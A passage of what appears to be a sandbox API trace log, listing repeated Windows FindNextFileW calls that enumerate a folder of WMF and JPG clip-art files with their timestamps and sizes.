dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0274.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0274.405] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0274.406] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0274.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0274.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x0, 